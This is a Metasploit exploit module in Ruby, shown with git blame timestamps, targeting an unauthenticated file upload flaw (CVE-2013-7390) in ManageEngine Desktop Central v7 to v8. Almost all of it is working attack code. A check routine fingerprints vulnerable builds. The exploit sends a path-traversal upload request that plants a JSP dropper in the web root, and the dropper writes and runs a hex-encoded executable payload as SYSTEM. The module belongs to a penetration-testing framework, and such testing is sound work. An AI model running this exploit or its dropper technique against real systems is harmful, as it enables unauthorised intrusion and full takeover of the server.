metasploit-framework/modules/exploits/windows/http/desktopcentral_file_upload.rb

177 lines
5.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
2013-11-19 22:33:14 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-11-20 15:20:50 +00:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
2013-11-20 15:20:50 +00:00
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
v8 build 80293. A malicious user can upload a JSP file into the web root without
authentication, leading to arbitrary code execution as SYSTEM.
2013-11-20 15:20:50 +00:00
},
'Author' =>
[
2013-11-21 15:06:47 +00:00
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
2013-11-20 15:20:50 +00:00
],
'License' => MSF_LICENSE,
'References' =>
[
2014-09-04 19:35:37 +00:00
['CVE', '2013-7390'],
['OSVDB', '100008'],
2014-09-04 19:35:37 +00:00
['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
['URL', 'http://seclists.org/fulldisclosure/2013/Nov/130'],
2013-11-20 15:20:50 +00:00
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
2013-11-20 15:20:50 +00:00
],
2013-11-21 15:28:28 +00:00
'Privileged' => true,
2013-11-20 15:20:50 +00:00
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 11 2013'
))
register_options([Opt::RPORT(8020)])
2013-11-20 15:20:50 +00:00
end
2013-11-20 15:20:50 +00:00
def upload_file(filename, contents)
res = send_request_cgi({
2014-05-25 17:29:39 +00:00
'uri' => normalize_uri('agentLogUploader'),
'method' => 'POST',
'data' => contents,
'ctype' => 'text/html',
'encode_params' => false,
2014-05-25 17:29:39 +00:00
'vars_get' => {
'computerName' => 'DesktopCentral',
'domainName' => 'webapps',
'customerId' => '..',
'filename' => filename
}
2013-11-20 15:20:50 +00:00
})
2014-09-04 19:35:37 +00:00
if res && res.code == 200 && res.body.to_s.empty?
2013-11-20 15:20:50 +00:00
return true
else
return false
end
2013-11-20 15:20:50 +00:00
end
2014-09-04 19:40:13 +00:00
# Test for Desktop Central
2013-11-20 15:20:50 +00:00
def check
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
2014-09-04 19:35:37 +00:00
if res && res.code == 200
2014-09-04 19:40:13 +00:00
build = nil
2014-09-04 19:35:37 +00:00
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
2014-09-04 19:40:13 +00:00
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
print_status("Detected Desktop Central v7")
2014-09-04 19:35:37 +00:00
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
2014-09-04 19:40:13 +00:00
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
build = $1
print_status("Detected Desktop Central v8 #{build}")
2014-09-04 19:40:13 +00:00
else # DC v8 (earlier versions)
print_status("Detected Desktop Central v8")
end
2014-09-04 19:40:13 +00:00
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
build = $1
end
2014-09-04 19:35:37 +00:00
2014-09-04 19:40:13 +00:00
if build.nil?
return Exploit::CheckCode::Unknown
elsif Gem::Version.new(build) < Gem::Version.new("80293")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
2014-09-04 19:40:13 +00:00
Exploit::CheckCode::Unknown
2013-11-20 15:20:50 +00:00
end
2013-11-20 15:20:50 +00:00
def exploit
print_status("Uploading JSP to execute the payload")
2013-11-20 15:20:50 +00:00
exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower(8) + ".exe"
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha_lower(8) + ".jsp"
if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
2013-11-20 15:20:50 +00:00
else
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
2013-11-20 15:20:50 +00:00
end
print_status("Executing payload")
2013-11-20 15:20:50 +00:00
send_request_cgi(
{
'uri' => normalize_uri(dropper_filename),
'method' => 'GET'
})
end
2013-11-20 15:20:50 +00:00
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
2013-11-20 15:20:50 +00:00
def jsp_execute_command(command)
jspraw = %Q|\n|
jspraw << %Q|<%\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|
jspraw
end
2013-11-20 15:20:50 +00:00
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end